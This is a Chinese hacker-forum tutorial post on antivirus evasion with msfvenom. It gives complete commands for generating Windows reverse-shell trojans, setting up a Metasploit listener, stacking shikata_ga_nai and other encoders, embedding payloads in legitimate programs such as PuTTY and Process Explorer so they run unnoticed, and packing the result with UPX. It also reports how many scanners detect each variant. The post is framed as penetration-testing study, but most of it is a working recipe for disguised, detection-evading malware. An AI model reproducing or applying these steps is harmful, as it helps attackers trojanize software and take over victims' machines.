跳转到帖子

游客您好,欢迎来到黑客世界论坛!您可以在这里进行注册。

赤队小组-代号1949(原CHT攻防小组)在这个瞬息万变的网络时代,我们保持初心,创造最好的社区来共同交流网络技术。您可以在论坛获取黑客攻防技巧与知识,您也可以加入我们的Telegram交流群 共同实时探讨交流。论坛禁止各种广告,请注册用户查看我们的使用与隐私策略,谢谢您的配合。小组成员可以获取论坛隐藏内容!

TheHackerWorld官方

精选回复

发布于

在渗透测试的过程中,我们可以利用MSF攻击载荷生成器(msfvenom)创建一个可以独立运行的Metasploit载荷程序,可以生成 exe、apk、php、jsp、asp、py、sh、pl等后缀类型的文件,只要这些木马文件在目标机上执行,我们就可以拿到目标机器的shell,进而可以去进行一些危险的操作。但是这里有个前提是:目标机器上没有装杀软或者说你制作的木马是免杀的。

那问题又来了?当今时代,谁的电脑会不安装杀软呢?

所以,想要获得目标机器的shell,木马的免杀变得尤为重要。

生成木马文件

我们首先利用msfvenom生成一个可以Windows电脑上执行的exe木马文件,反弹shell程序。

msfvenom -p windows/shell_reverse_tcp LHOST=监听IP LPORT=监听端口 -f exe -o hackergu.exe

-p 选择攻击载荷

-f 指定生成文件的类型

-o 输出的文件名,保存

2bc69b20944825f.png

 开启监听

打开msfconsole

use exploit/multi/handler载入multi/handler模块

set PAYLOAD windows/shell_reverse_tcp  设置攻击载荷为Windows反弹shell

show options 显示设置的参数,配置监听IP和端口

exploit 开启监听

2591c98b70119fe.png

开启监听之后,我们在目标机器上,运行我们刚才生成的木马文件,就拿到shell了。

e34a8899ef6468b.png

以上所做的一切呢,都是在目标机器关闭360杀软的情况下进行的,若我将360开启,就会变成如下:

e7b24b112a44fdd.png

所以免杀是很重要的。

尝试免杀

大多数杀毒软件使用特征码来识别恶意代码。这些特征码装在杀毒引擎中,用来对磁盘和进程进行扫描,并寻找匹配对象。发现匹配对象之后,杀毒软件会有相应的处理流程:大多数会将感染病毒的二进制文件进行隔离,或者杀掉正在运行的进程。

为了避开杀毒软件,我们可以针对受到杀毒软件保护的目标创建一个独一无二的攻击载荷,它不会与杀毒软件的任何特征码匹配。此外,当进行直接的渗透攻击时,Metasploit的攻击载荷可以仅仅在内存中运行,不将任何数据写入到硬盘上,这样我们发起攻击并上载攻击载荷后,大多数杀毒软件都无法检测它已在目标系统上运行。

MSF编码器

MSF编码器可以对可以对我们攻击载荷文件进行重新编码,改变可执行文件的代码形状,让杀毒软件认不出他原来的样子,而程序的功能不会受到任何的影响。

msfvenom -h查看MSF编码器的各种参数

2510c39011c5be7.png

msfvenom -l encoders 列出所有可用的编码格式

5b54c0a045f179b.png

msfvenom -p windows/shell_reverse_tcp LHOST=监听IP LPORT=监听端口 -e x86/shikata_ga_nai -f exe -o hackergu2.exe

-e指定使用x86/shikata_ga_nai编码器

310dcbbf4cce62f-1.png

我们将其拿去查杀

bcbe3365e6ac95e.png

当我们点击执行文件的时候,再次被查杀了。

但是,这里有一点区别

我们生成的第一个木马文件hackergu.exe ,刚放到目标机上,就被查杀了。但是我们生成的第二个木马文件hackergu2.exe,能够成功放到目标机器中,但是在执行的时候,被杀了。

由此看出,MSF编码是有效果的。(毕竟360不是吃素的,该杀还是被杀)

多重编码

在Metasploit框架中,我们可以使用多重编码技术,对攻击载荷文件进行多次编码,以绕过杀毒软件的特征码检查。

shikata_ga_nai编码技术是多态的,每次生成的攻击载荷文件都是不一样的。所以存在绕过杀软的侥幸性,当某次编码后的特征码不存在杀软的特征码库中,我们就可以免杀,但是这种概率,现在来看也是非常小了。

进行多重编码:

msfvenom -p windows/meterpreter/reverse_tcp LHOST=监听IP LPORT=监听端口 -e x86/shikata_ga_nai -i 12 -f raw | msfvenom -e x86/alpha_upper -a x86 --platform windows -i 5 -f raw | msfvenom -e x86/shikata_ga_nai -a x86 --platform windows -i 12 -f raw | msfvenom -e x86/countdown -a x86 --platform windows -i 12 -f exe -o hackergu3.exe

在上述代码中,我们先使用 x86/shikata_ga_nai 进行了12次编码,接着使用 x86/alpha_upper进行了5次编码,又使用 x86/shikata_ga_nai进行了12次编码,使用 x86/countdown进行12次编码,最终生成hackergu3.exe。

但是,很抱歉,还是被无情地杀掉了。

自定义可执行文件模板

通常情况下,运行msfvenom命令时,攻击载荷被嵌入到默认的可执行文件模板中,默认模板文件位于data/templates/template.exe。虽然这个模板会时常更新,但它永远是杀毒软件厂商在创建病毒库时的重点关注对象。

实际上,我们可以使用命令 msfvenom -x 使用任意的Windows可执行程序来替代默认模板文件。

wget http://download.sysinternals.com/files/ProcessExplorer.zip在微软官网下载一个Process Explorer软件

unzip ProcessExplorer.zip解压压缩包

msfvenom -p windows/shell_reverse_tcp LHOST=监听IP LPORT=监听端口 -e x86/shikata_ga_nai -x /root/procexp.exe -i 12 -f exe -o hackergu5.exe将刚下载的exe文件作为我们的模板进行打包,生成木马hackergu5.exe

将木马在目标机器上,可以运行,成功反弹到shell了。

caf1a3dfb505ffe.png

但是,一分钟过后呢,就掉线了。虽然能执行一些命令,但是不稳定,还是会被杀。

拿到在线检测病毒的网站检测了一下:https://www.virscan.org/language/zh-cn/

4297f44b1395523.png

附上一张图自己体会:

a8f5f167f44f496.png

360的名声,可真不是吹出来的,毕竟强大到连自己都杀。

隐秘地启动一个载荷

如果执行一个什么都没有发生的可执行文件,什么都没有发生,一定会引起用户的怀疑。为了避免察觉,可以在启动攻击载荷的同时,让宿主程序也运行起来。

我们现在下载Windows下的SSH客户端,使用 -k 处理Putty,该选项会配置攻击载荷在一个独立的线程中运行,这样宿主程序在执行时不会受到影响。

wget https://the.earth.li/~sgtatham/putty/0.67/x86/putty.exe

msfvenom -p windows/shell_reverse_tcp LHOST=监听IP LPORT=监听端口 -e x86/shikata_ga_nai -x /root/putty.exe -k -i 12 -f exe -o hackergu6.exe

最好使用图形界面的应用程序,如果使用了一个命令行的应用程序,当攻击载荷启动后,它会在目标主机桌面上启动一个命令行窗口,这个窗口直到攻击载荷运行完毕才会消失。而如果使用图形化界面,即使没有-k参数,攻击载荷启动后也不会留下任何其他的窗口。

使用加壳软件

使用加壳工具加壳之后,可执行文件更小,而功能与原来的文件一样。

但是使用MSF编码器编码之后,会增加可执行文件的大小。

upx -5 hackergu5.exe我们直接使用此命令进行加壳

1829b546ae77fd7.png

没加壳19个厂商发现了病毒,加壳之后只有18个,也算起到作用了吧。

 

免杀技术日新月异,我们还需要不停地学习呀!

创建帐户或登录后发表意见

最近浏览 0

  • 没有会员查看此页面。